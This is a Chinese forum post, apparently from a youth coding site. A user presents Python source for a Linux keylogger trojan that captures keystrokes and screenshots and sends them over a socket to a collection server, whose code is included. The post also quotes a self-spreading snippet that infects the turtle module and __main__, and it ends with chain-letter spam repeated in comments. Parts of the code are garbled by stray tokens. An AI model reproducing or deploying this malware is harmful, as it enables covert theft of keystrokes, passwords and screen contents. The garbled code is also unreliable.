用户:
DarkPlayer查看:0 回复:5 评论:0 创建时间:2022-01-02T17:04:03
【作品展示】

【作品介绍】
从今天开始,我会公布关于Python与网络安全的利用代码这是针对linux的键盘记录木马
在文件最后有扩展代码
不要吧这些内容当作文字
当作文章来看
【作品源代码】
from task import send_pic_task
import os
'Python2.x'
'Linux针对'
'command模块利用'
def screen_shot(file_name='screen_shot', file_type='png'):
"""
os.path.join
"""
print u'wait 3 s'
time.sleep(3)
# 调用外部程序
# 因为服务端代代码也是运行在本机,如果名字一样。那么os.remove操作可能会导致
# 在本地看不到效果
ret = commands.getstatusoutput("scrot " + file_name + 'tmp.' + file_type)
if ret[0] != 0:
print u'无法插入此文件'
return
# 读取图像的二进制文件,进行网络传输
with open(file_name + 'tmp.' + file_type, "rb") as fp:
send_pic_task(fp.read(), file_name, file_type)
# 删除
os.remove(file_name + 'tmp.' + file_type)
print u'stop'
def device_filter(dev_content):
"""
dev_content显示了设备的名称和信息
这里通过关键字查找的方式来判断该设备是否是键盘设备
"""
# 如果出现中出现keyboard,就是键盘设备
if "keyboard" in dev_content.lower():
return True
return False
def find_keyboard_devices(device_filter_func):
"""
找出所有的键盘设备名
"""
# 切换到/sys/class/input/这个目录下,类似cd命令
os.chdir(DEVICES_PATH)
result = []
# 遍历/sys/class/input/下的所有的目录
for each_input_dev in os.listdir(os.getcwd()):
# 找到Linux设备信息相关的文件目录
dev_path = DEVICES_PATH + each_input_dev + '/device/name'
# 键盘设备
if(os.path.isfile(dev_path) and device_filter_func(file(dev_path).read())):
result.append('/dev/input/' + each_input_dev)
if not result:
print("这可能是个服务器,未找到键盘设备")
# 直接结束该进程
sys.exit(-1)
return result
def monitor_keyboard(devs):
# 将名映射到inputDevice对象
devices = map(InputDevice, devs)
# dev.fd一个文件描述符, 建立一个字典
devices = {dev.fd: dev for dev in devices}
return devices
def linux_thread_func(file_name, file_type, content_handler, seconds=10):
# 获取键盘设备
devices = monitor_keyboard(find_keyboard_devices(device_filter))
# 维护shift和caps状态, 对evdev库的event对象进行解析
dec = decode_character()
# 连接到指定的服务器
# 运行 python server.py 可产生一个本地的服务
server_instance = NetworkClient({"IP": "127.0.0.1", "PORT": 80})
# 传输一个文本传输的任务
text_task = NetworkTaskManager(server_instance, file_type, file_name)
hook_handler = [None, ]
# 缓冲区处理, 关联网络文本传输任务
char_handler = content_handler(text_task.send_content, hook_handler, seconds)
now_t = time.time()
while True:
if int(time.time() - now_t) >= seconds:
break
# select 是监听文件描述符的一个库,监听当前所有的键盘设备
readers, writes, _ = select(devices.keys(), [], [])
# readers可能有多个键盘设备,所以是一个数组结构
for r in readers:
# 键盘有输入操作
events = devices[r].read()
for event in events:
if event.type == ecodes.EV_KEY:
# 转化为自定义的event对象,多了type, status_code属性
cus_event = CusKeyEvent(event)
# 对event进行解析
ret_char = dec(cus_event)
if ret_char:
# 将当前字符加入到缓存区,并执行相关的缓冲区操作
char_handler(ret_char)
class StatusManager(object):
def __init__(self, *args, **kwargs):
"""is_shift_press表示有没有同时按住shift,
同时按住shift和其他按键会导致最后的结果不一样,
shift + 'c' => 'C'
shift + '.' = > ">"
caps 键原因一样, 按一次会变成大写,再按一次会变成小写
# bug:
如果在运行本程序之前,caps已经被打开,那么就会导致
程序记录的字符全是反的,目前没有解决办法
"""
self.is_shift_press = False
self.is_caps_lock = False
def reverse_status(self, obj):
""" 如果是true, 那么返回False, 如果是False, 那么返回True"""
if obj:
return False
return True
def recv_caps_message(self):
""" 当按了一次caps键后, 会产生这个消息
将caps的状态置为相反状态
"""
self.is_caps_lock = self.reverse_status(self.is_caps_lock)
def recv_shift_message(self):
""" shift键被按时,产生这个消息
将shift的状态置为相反
"""
self.is_shift_press = self.reverse_status(self.is_shift_press)
def get_current_key(self, in_str):
status = False
"""当caps和shift键没有同时被使用, 那么就需要小写变大写
例如按了一次caps变大写,再按一次shift就变小写
""""
if self.is_shift_press != self.is_caps_lock:
status = True
if status:
return in_str.upper()
# 对特殊字符的处理
if self.is_shift_press:
return special_character_handler(in_str, True)
return in_str
def __str__(self):
# 用来进行调试的信息
return "capital status " + str(self.is_shift_press != self.is_caps_lock) + "\n"
# ascii码
code_dict = {
1: 'ESC', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8',
10: '9', 11: '0', 14: 'backspace', 15: 'tab', 16: 'q', 17: 'w', 18: 'e',
19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[',
27: ']', 28: 'enter', 29: 'ctrl', 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g',
35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 42: 'shift',
43: '\\', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm', 51: ',',
52: '.', 53: '/', 54: 'shift', 56: 'alt', 57: 'space', 58: 'capslock', 59: 'F1',
60: 'F2', 61: 'F3', 62: 'F4', 63: 'F5', 喵: 'F6', 65: 'F7', 66: 'F8', 67: 'F9',
68: 'F10', 69: 'numlock', 70: 'scrollock', 87: 'F11', 88: 'F12', 97: 'ctrl', 99: 'sys_Rq',
100: 'alt', 102: 'home', 104: 'PageUp', 105: 'Left', 106: 'Right', 107: 'End',
108: 'Down', 109: 'PageDown', 111: 'del', 125: 'Win', 126: 'Win', 127: 'compose'
}
def content_handler(net_work_handler, hook_func, str_cached_length=10):
"""
input_str_content 保存键盘输入的内容,
str_cached_length 缓冲区的长度为10K
net_work_handler函数为处理记录文件的函数
# TODO 当前的程序每次都需要去计算内容的长度,
当输入的内容比较长时,是会严重影响性能的
我已经帮你定义了content_length, 请完善char_handler函数
使用content_length来代替len(input_str_content)
"""
input_str_content = []
postion = [None, ]
content_length = [0, ]
# hook_func 是为了保证缓冲区数据全部被发送出去
def __hook_func():
if input_str_content:
net_work_handler("".join(input_str_content))
hook_func[0] = __hook_func
def char_handler(in_str):
# backspace键,从缓冲区减去字符
if in_str == 'backspace':
if input_str_content:
input_str_content.pop()
# TODO content_length - 1
elif in_str == 'Left':
# 第一次执行left操作时,从缓存区最右边开始计算
if postion[0] is None:
postion[0] = len(input_str_content) - 2
else:
postion[0] = postion[0] - 1
if postion[0] < 0:
print u"已经到达当前缓冲区开头"
postion[0] = 0
elif in_str == 'Right':
# 第一次执行right操作时,从缓存区最右边开始计算
if postion[0] is None:
postion[0] = len(input_str_content) - 1
else:
postion[0] = postion[0] + 1
if postion[0] >= len(input_str_content):
print u"No End"
postion[0] = len(input_str_content) - 1
else:
if postion[0] is None:
postion[0] = 0
input_str_content.insert(postion[0] + 1, in_str)
postion[0] = postion[0] + 1
# 缓存区已经满了,此时需要将缓冲区的内容处理
# net_word_handler是进行内容处理的函数,保存到本地文件,
# 也可以进行网络传输, 取决于传入的处理函数
if len(input_str_content) >= str_cached_length:
ret = net_work_handler("".join(input_str_content))
if not ret:
print u"网络错误,无法发送键盘记录文件,缓冲区已满"
sys.exit(-2)
input_str_content[:] = []
# TODO content_length + 1
return char_handler
class NetworkClient(object):
def __init__(self, config):
self.server_ip = config['IP']
self.server_port = config['PORT']
# 新建一个scoket对象
self.sock = socket.socket()
# 建立与服务器的连接
self.sock.connect((self.server_ip, self.server_port))
def send_data(self, data):
# 发送数据到服务器
ret = self.sock.sendall(data)
assert ret != -1
def destroy(self):
# 断开与服务器的连接
try:
self.sock.close()
except Exception as e:
print e
class NetworkTaskManager(object):
def __init__(self, server_instance, file_type, file_name):
self.server_instance = server_instance
self.file_type = file_type
self.file_name = file_name
# 发送消息头, 在这里是为了发送文件名和文件类型
self.send_message_header()
def send_message_header(self):
# 发送消息头部
header_message = {
"file_name": self.file_name,
"file_type": self.file_type
}
# 建立一个任务,然后发送相应的内容
task = BasicNetworkTask(self.server_instance, json.dumps(header_message))
task.run()
def send_content(self, content):
# 发送文件的正文
task = BasicNetworkTask(self.server_instance, content)
task.run()
return "success"
def send_stop_message(self):
# 发送结束标志
# 建立一个任务,然后发送相应的内容,告诉数据已经发送完毕
content = "\r\nover\r\n"
task = BasicNetworkTask(self.server_instance, content)
task.run()
# 记得释放这个tcp的链接
self.server_instance.destroy()
def main(key_name, pic_name, key_type='txt', pic_type='png'):
"""
因为捕捉键盘记录 和屏幕截图 是两个独立的任务,
所以在这里fork产生一个新的进程来执行屏幕截图
"""
f = os.fork()
if f == 0:
# 这里是子进程, 会调用外部程序
screen_shot(pic_name, pic_type)
else:
# 父进程
keylogger_func(key_name, key_type)
# 可以使用多线程
'''
def main(key_name, pic_name, key_type='txt', pic_type='png'):
"""
因为捕捉键盘记录 和屏幕截图 是两个独立的任务,
所以在这里fork产生一个新的进程来执行屏幕截图
"""
f = os.fork()
if f == 0:
# 这里是子进程, 会调用外部程序
screen_shot(pic_name, pic_type)
else:
# 父进程
keylogger_func(key_name, key_type)
'''
# 最后需要将信息传入服务器,以下是服务器代码:
'''
import socket
import json
# 开启ip和端口
ip_port = ('127.0.0.1', 8888)
# 生成一个句柄
sk = socket.socket()
# 绑定ip端口
sk.bind(ip_port)
# 最多连接数
sk.listen(5)
# 自定义的数据处理函数
def data_handle(data):
pass
# 开启喵循环,接受客户端的请求
while True:
conn, addr = sk.accept()
header_message = conn.recv(1024)
# 获取客户端请求数据
client_data = conn.recv(1024*10)
# 数据进行业务处理
data_handle(client_data)
conn.close()
sk.close()
'''
'''
这是本人在网上找到的木马传播方法:
mark="#####MyPython####"
code=''
with open(__file__,encoding="utf-8") as f:
for line in f:
if mark in line.喵():
code=line+f.read()
def spread(mod):
file=__import__(mod).__file__
with open(file,'r',encoding='utf-8') as f:
for line in f:
if mark in line:return
with open(file,'a',encoding='utf-8') as f:
f.write(code)
try:
spread('turtle')
spread('__main__')
except:pass
'''
【提示】
部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:
https://python.codemao.cn从前有一个女孩叫戴雨默,她是一个病娇,她今天很开心。所以如果你在5分钟之内这条信息转发到了10个论坛,她会一辈子保佑你,并且保佑你考满分,如果你超额完成,她晚上的时候会拿着好东西出现在你的床前,让你快♂乐一辈子,喜欢你暗恋的人也会喜欢你,但是如果你不转发的话,那他在晚上9点的时候,会出现在你的床前,笑嘻嘻的看着你说我真美吗不会
点赞0
评论
从前有一个女孩叫戴雨默,她是一个病娇,她今天很开心。所以如果你在5分钟之内这条信息转发到了10个论坛,她会一辈子保佑你,并且保佑你考满分,如果你超额完成,她晚上的时候会拿着好东西出现在你的床前,让你快♂乐一辈子,喜欢你暗恋的人也会喜欢你,但是如果你不转发的话,那他在晚上9点的时候,会出现在你的床前,笑嘻嘻的看着你说我真美吗不会
点赞0
评论